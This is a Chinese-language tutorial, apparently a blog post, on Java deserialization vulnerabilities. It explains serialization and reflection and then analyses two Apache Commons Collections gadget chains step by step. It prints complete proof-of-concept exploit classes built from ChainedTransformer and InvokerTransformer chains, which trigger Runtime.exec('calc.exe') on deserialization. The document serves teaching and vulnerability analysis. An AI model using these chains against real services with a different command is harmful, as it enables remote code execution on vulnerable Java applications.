Java反序列化漏洞
漏洞成因是自定义实现Serializable的方法中的readObject()方法内代码逻辑存在缺陷。
Java反序列化中readObject()方法的作用相当于PHP反序列化中的魔术函数,使反序列化过程部分可控,通过去寻找可利用的类并构造反射链来进行任意代码执行。
Java反序列化
序列化的基本概念
• 序列化:将对象转换为字节序列
• 反序列化:由字节序列恢复为对象
• 意义:序列化机制允许将实现序列化的Java对象转换位字节序列,这些字节序列可以保存在磁盘上,或通过网络传输,以达到以后恢复成原来的对象。序列化机制使得对象可以脱离程序的运行而独立存在。
序列化的条件
一个类对象要想实现序列化,必须满足两个条件:
1、该类必须实现 java.io.Serializable 对象。
2、该类的所有属性必须是可序列化的。如果有一个属性不是可序列化的,则该属性必须注明是短暂的。
序列化和反序列化的实现
序列化:首先要创建OutputStream对象,再将其封装在一个ObjectOutputStream对象内,接着只需调用writeObject()即可将对象序列化,并将其发送给OutputStream(对象是基于字节的,因此要使用
InputStream和OutputStream来继承层次结构)。
Person person = new Person("nick");
ObjectOutputStream o = new ObjectOutputStream(new FileOutputStream(new File("Person.txt")));
o.writeObject(person);
反序列化:将一个InputStream封装在ObjectInputStream内,然后调用readObject()即可。
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(new File("Person.txt")));
Person person = (Person) ois.readObject();
测试代码如下:
import java.io.*;
class Person implements Serializable {
private static final long serialVersionUID = -5809452578272945389L;
private String name;
public Person(String name){
this.name = name;
}
public String getName(){
return this.name;
}
}
public class test {
public static void main(String[] args) throws Exception {
/**序列化Person对象**/
Serialize();
/**反序列Perons对象**/
Person p = UnSerialize();
System.out.println("name="+p.getName());
}
/**
* Description: 序列化Person对象
*/
private static void Serialize() throws FileNotFoundException, IOException {
Person person = new Person("nick");
/** ObjectOutputStream 对象输出流,将Person对象存储到E盘的Person.txt文件中,完成对Person对象的序列化操作 **/
ObjectOutputStream oo = new ObjectOutputStream(new FileOutputStream(new File("Person.txt")));
oo.writeObject(person);
System.out.println("Person对象序列化成功!");
oo.close();
}
/**
* Description: 反序列Perons对象
*/
private static Person UnSerialize() throws Exception, IOException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(new File("Person.txt")));
Person person = (Person) ois.readObject();
System.out.println("Person对象反序列化成功!");
return person;
}
}
自定义readObject()方法示例漏洞
对上面测试代码中Person类中添加自定义readObject()方法
private void readObject(java.io.ObjectInputStream s)throws java.io.IOException, ClassNotFoundException{
s.defaultReadObject();
Runtime.getRuntime().exec("calc.exe");
}
Java反射机制
反射 (Reflection) 是 Java 的特征之一,为了解决在编译期无法确定对象和类的真实信息的问题,就必须使用反射在运行时获得程序或程序集中每一个类型的成员和成员的信息。
Java 反射主要提供以下功能:
1. 判断任意一个对象所属的类
Obj.class.isInstance(Object)
2. 构造任意一个类的对象
• obj.getClass() ,通过对象实例的getClass()方法获取。
• TestClass.class,通过TestClass类的class属性获取。
• Class.forName,静态方法,同样可以用来加载类。
3. 判断任意一个类所具有的成员变量和方法(通过反射甚至可以调用private方法)
获取某个Class对象的方法集合,主要有以下几个方法:
• getDeclaredMethods 方法返回类或接口声明的所有方法,包括公共、保护、默认(包)访问和私有方法,但不包括继承的方法。
public Method[] getDeclaredMethods() throws SecurityException
• getMethods 方法返回某个类的所有公用(public)方法,包括其继承类的公用方法。
public Method[] getMethods() throws SecurityException
• getMethod方法返回一个特定的方法,其中第一个参数为方法名称,后面的参数为方法的参数对应Class的对象。
public Method getMethod(String name, Class<?>… parameterTypes)
4. 调用任意一个对象的方法
invoke 的作用是执行方法
public Object invoke(Object obj, Object… args)
throws IllegalAccessException, IllegalArgumentException,
InvocationTargetException
第一个参数需要注意:
• 如果这个方法是一个普通方法,那么第一个参数是实例对象。
• 如果这个方法是一个静态方法,那么第一个参数是类。
使用反射机制执行命令
此处invoke(runtime,“calc.exe”)的作用为:使用runtime调用获得的Method对象所声明的公开方法即exec,并将calc.exe作为参数传入,而runtime为获取的Runtime.getRuntime实例对象。因此,此处代码相当于执行了Runtime.getRuntime( ).exec("calc.exe")
。
public class test {
public static void main(String[] args) throws Exception {
//forName(类名) 获取类名对应的Class对象,同时将Class对象加载进来。
//getMethod(方法名,参数类型列表) 根据方法名称和相关参数,来定位需要查找的Method对象并返回。
//invoke(Object obj,Object...args) invoke允许调用包装在当前Method对象中的方法
//获取一个Runtime的实例对象
//相当于Runtime runtime = Runtime.getRuntime();
Object runtime=Class.forName("java.lang.Runtime").getMethod("getRuntime",new Class[]{
}).invoke(null);
//调用Runtime实例对象的exec()方法,并将calc.exe作为参数传入
//相当于runtime.exec(cmd);
Class.forName("java.lang.Runtime").getMethod("exec",String.class).invoke(runtime,"calc.exe");
}
}
Apache Commons Collections反序列化漏洞分析
先来看两个POC
BadAttributeValueExpException类利用链
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class POC2 {
public static void main(String args[]) throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class,Class[].class},new Object[]{
"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{
Object.class,Object[].class},new Object[]{
null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{
String.class}, new Object[]{
"calc.exe",}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
final Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
//利用反射的方式来向对象传参
//获取类的字段getDeclaredFields()
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, entry);
//模拟序列化和反序列化操作,触发payload
POC2 t = new POC2();
t.unserialize(t.serialize(val));
}
public byte[] serialize(final Object obj) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
ObjectOutputStream objOut = new ObjectOutputStream(out);
objOut.writeObject(obj);
return out.toByteArray();
}
public Object unserialize(final byte[] serialized) throws IOException, ClassNotFoundException {
ByteArrayInputStream in = new ByteArrayInputStream(serialized);
ObjectInputStream objIn = new ObjectInputStream(in);
return objIn.readObject();
}
}
下图截取自https://www.mi1k7ea.com/2019/02/06/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/
AnnotationInvocationHandler类利用链
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class POC3 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{
"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{
null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{
String.class}, new Object[]{
"calc.exe",}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
// 这里key值必须为value,AnnotationInvocationHandler内会获取Retention类的全部方法等基本信息,而Retention只定义了一个名为value的方法(快捷方式,限制了元素名必须为value),用Target类也是一样
innerMap.put("value", "hhhh");
// 给予map数据转化链,该方法有三个参数:
// 第一个参数为待转化的Map对象
// 第二个参数为Map对象内的key要经过的转化方法(可为单个方法,也可为链,也可为空)
// 第三个参数为Map对象内的value要经过的转化方法(可为单个方法,也可为链,也可为空)
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
//通过反射获得cls的构造函数
Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
//取消构造函数修饰符限制
ctor.setAccessible(true);
//通过newInstance()方法实例化对象
Object instance = ctor.newInstance(Retention.class, outerMap);
POC3 poc_test = new POC3();
poc_test.UnSerialize(poc_test.Serialize(instance));
}
public byte[] Serialize(final Object obj) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
ObjectOutputStream objOut = new ObjectOutputStream(out);
objOut.writeObject(obj);
return out.toByteArray();
}
public Object UnSerialize(final byte[] serialized) throws Exception {
ByteArrayInputStream in = new ByteArrayInputStream(serialized);
ObjectInputStream objIn = new ObjectInputStream(in);
return objIn.readObject();
}
}
下图截取自https://www.mi1k7ea.com/2019/02/06/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/
可以看到上面两个类的利用链前半部分都是相同的,下面也将依据此分两部分进行分析利用链的构造。
环境构建
JDK1.7版本,以及commons-collections-3.2.1.jar
https://mvnrepository.com/artifact/commons-collections/commons-collections/3.2.1
1. 恶意反射链对象构造
先从外面这个数组构成的链开始
ChainedTransformer(transformers) 链接transformers数组内的各个对象transformer方法的返回值
object参数为上一个类transform()的返回值,其结果再赋值给object变量,实现数组内的对象传递。
ConstantTransformer(Runtime.class) 返回java.Runtime对象
ConstantTransformer类的transform()方法会原封不动地返回传入的Object
InvokerTransformer调用任意函数
InvokerTransformer构造函数的参数列表当中,第一个是调用的方法名,第二、三个是方法的参数的类型和具体值
其transform方法通过调用Java的反射机制来调用任意函数
下面通过一段代码的debug进行对ChainedTransformer当中for循环时的变量传递进行探究
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
public class POC1 {
public static void main(String args[]) throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class,Class[].class},new Object[]{
"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{
Object.class,Object[].class},new Object[]{
null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{
String.class}, new Object[]{
"calc.exe",}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
//测试我们的恶意对象是否可以被序列化
ByteArrayOutputStream out = new ByteArrayOutputStream();
ObjectOutputStream objOut = new ObjectOutputStream(out);
objOut.writeObject(transformerChain);
//执行以下语句就可以调用起计算器
transformerChain.transform(null);
}
}
在下图所示位置下断点开始调试
第一次循环返回了java.Runtime作为下一次循环的object参数
第二次循环调用InvokerTransformer对象的transformer,参数为(“java.Runtime”),包装Method对象"getMethod"方法,invoke方法获得对象所声明方法"getRuntime",利用反射,返回一个Rumtime.getRuntime()方法
第三次循环调用InvokerTransformer对象的transformer,参数为(“Rumtime.getRuntime()”),包装Method对象"invoke"方法,利用反射,返回一个Rumtime.getRuntime()实例
第四次循环循环调用InvokerTransformer对象的transformer,参数为一个Runtime的对象实例,包装Method对象"exec"方法,invoke方法获得对象所声明方法"calc.exe",利用反射,执行弹出计算器操作
走完这步其实就会执行命令了
2. 查找自定义readObject()方法且可调用transform()的类
下面就是寻找如何调用这个ChainedTransformer.transform()的问题了,将这步代替掉
BadAttributeValueExpException
查看自定义的readObejct()方法,其中在满足System.getSecurityManager() == null时会调用 valObj.toString()
那么现在就需要找到一个类的toString()方法被调用时可触发transform()方法来执行我们构造的反射链。
LazyMap——调用get()方法触发transform()方法
LazyMap是Commons-collections 3.1提供的一个工具类,其在用户get一个不存在的key的时候执行一个方法来生成Key值,当且仅当get行为存在的时候Value才会被生成。
TiedMapEntry——调用toString()方法触发getValue()方法(即LazyMap.get())
TiedMapEntry也存在于Commons-collections 3.1,该类主要的作用是将一个Map绑定到Map.Entry下,形成一个映射。
其getValue方法最终为调用的this.map的get方法
下面同样通过对最终POC的的debug进行对变量传递进行探究
下断点,开始调试
调试的时候到这里其实就会弹出计算器了
最后通过valfield.set(val, entry);这句代码将val的值设置为上面的TiedMapEntry对象
AnnotationInvocationHandler(JDK1.7及以下)
readObject( )方法,并且执行了setValue( )操作,且Map变量可控
在其遍历var4(this.memberValues.entrySet().iterator())时,会用键名(var6)在memberTypes中尝试获取一个Class(这里为var7变量),并判断它是否为null,若满足条件则最终会执行var5.setValue()方法
需要找到一个合适的类在调用setValue()方法时触发transform()方法来执行我们构造的反射链。
TransformedMap是Commons-collections 3.1提供的一个工具类,用来包装一个Map对象,并且在该对象的Entry的Key或者Value进行改变的时候,对该Key和Value进行Transformer提供的转换操作,会调用其Key和Value的transform()方法。
对最终POC进行调试
下断点开始调试
开始调用AnnotationInvocationHandler类中自定义的readObject( )方法
AnnotationInvocationHandler类中的readObject( )方法有一句代码Iterator var4 = this.memberValues.entrySet().iterator();
this.memberValues 就是TransformedMap 类,entrySet().iterator()链式调用会返回类型为AbstractInputCheckedMapDecorator的对象,并且将包含精心构造恶意代码的TransformedMap对象放进parent属性中。
值非空因此进入new AbstractInputCheckedMapDecorator.EntrySet(this.map.entrySet(), this)这部分
如上图所示TransformedMap对象已经被放进parent属性中
接下来的部分对应AnnotationInvocationHandler类当中这段代码
满足判断条件最后进入AnnotationInvocationHandler类中的var5.setValue部分
上面这串逻辑直观的写出来的话就是
Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
onlyElement.setValue("test");
调用恶意反射链数组中对象的transform方法。开始进入反射链循环
参考
https://www.mi1k7ea.com/2019/02/06/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/